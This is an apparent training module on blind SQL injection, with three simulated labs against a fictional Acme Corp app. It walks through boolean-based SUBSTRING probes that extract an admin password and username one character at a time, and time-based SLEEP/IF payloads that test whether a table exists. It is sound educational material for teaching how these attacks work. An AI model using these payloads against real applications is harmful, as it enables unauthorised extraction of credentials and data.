Module 05.04

Blind SQL Injection

Extracting data when the application reveals nothing
Rolling Thunder Security · SQL Injection
Concepts

When the Application Goes Silent

Many modern applications do not display database errors or query results directly. Error messages are suppressed, and output is generic. But even when an application shows nothing useful, an attacker can still extract entire databases using blind injection techniques.

Blind SQL injection works by asking the database yes/no questions and observing how the application responds. If the application behaves differently depending on whether a condition is true or false, the attacker can infer data one piece at a time.

Boolean-Based Blind

The application shows different content for TRUE vs FALSE conditions. By testing AND 1=1 vs AND 1=2, the attacker detects differences in the page response.

Time-Based Blind

When even boolean differences are hidden, attackers use SLEEP(3) to make the database pause. A 3-second delay means TRUE; an instant response means FALSE.

Character-by-Character

Functions like SUBSTRING(password,1,1)='a' let attackers test each character position individually, extracting full strings over many requests.

Real-World Impact

Blind injection is slower but equally dangerous. Automated tools like sqlmap can extract a full database in minutes using blind techniques. Most real-world SQL injections are blind.

Lab 1 of 3
True or False
Unsolved
Scenario: Acme Corp has a user profile page. Enter a user ID to see their profile. If the ID is valid, you see their username and email. If not, you see "User not found." The app shows no database errors.

Goal: Determine the first 3 characters of the admin's password (user id=1) using boolean-based injection. The profile appearing = TRUE. "User not found" = FALSE.
SELECT username, email FROM users WHERE id = [YOUR INPUT]
View User Profile
Application Response
Try these in order:
1 AND SUBSTRING(password,1,1)='s' → Profile shows (TRUE! First char is 's')
1 AND SUBSTRING(password,2,1)='3' → Profile shows (TRUE! Second char is '3')
1 AND SUBSTRING(password,3,1)='c' → Profile shows (TRUE! Third char is 'c')

The admin password starts with "s3c". Each query is a yes/no question!
Lab 1 Complete — You confirmed the first 3 characters: s3c
Lab 2 of 3
The Waiting Game
Unsolved
Scenario: Acme's product search only shows "X results found" — no product details, no errors. Even boolean detection is impossible because the count always appears. But you can make the server wait.

Goal: Use SLEEP() or IF() to determine whether a users table exists. A noticeable delay = TRUE.
SELECT COUNT(*) FROM products WHERE category = '[YOUR INPUT]'
Search by Category
Server processing...
0
results found
Try: ' AND IF(EXISTS(SELECT * FROM users), SLEEP(3), 0)--
If the users table exists, the server delays 3 seconds. Watch the progress bar!

Compare with: ' AND IF(EXISTS(SELECT * FROM fake_table), SLEEP(3), 0)--
No delay = table doesn't exist.
Lab 2 Complete — The 3-second delay confirmed the users table exists!
Lab 3 of 3
Bit by Bit
Unsolved
Scenario: Same user profile page as Lab 1. You now know the technique. Extract the admin's full username character by character. The username is 5 characters long.

Goal: Use the extraction workbench below. For each position, craft a boolean query to test characters. Fill all 5 slots to complete the lab.
SELECT username, email FROM users WHERE id = [YOUR INPUT]
Character Extraction Workbench
1?
2?
3?
4?
5?
Boolean Test Query
Application Response
Test each position systematically:
1 AND SUBSTRING(username,1,1)='a' → TRUE! Position 1 = 'a'
1 AND SUBSTRING(username,2,1)='d' → TRUE! Position 2 = 'd'
1 AND SUBSTRING(username,3,1)='m' → TRUE! Position 3 = 'm'
1 AND SUBSTRING(username,4,1)='i' → TRUE! Position 4 = 'i'
1 AND SUBSTRING(username,5,1)='n' → TRUE! Position 5 = 'n'

The username is "admin". Each TRUE response fills in one character.
Lab 3 Complete — You extracted "admin" one character at a time!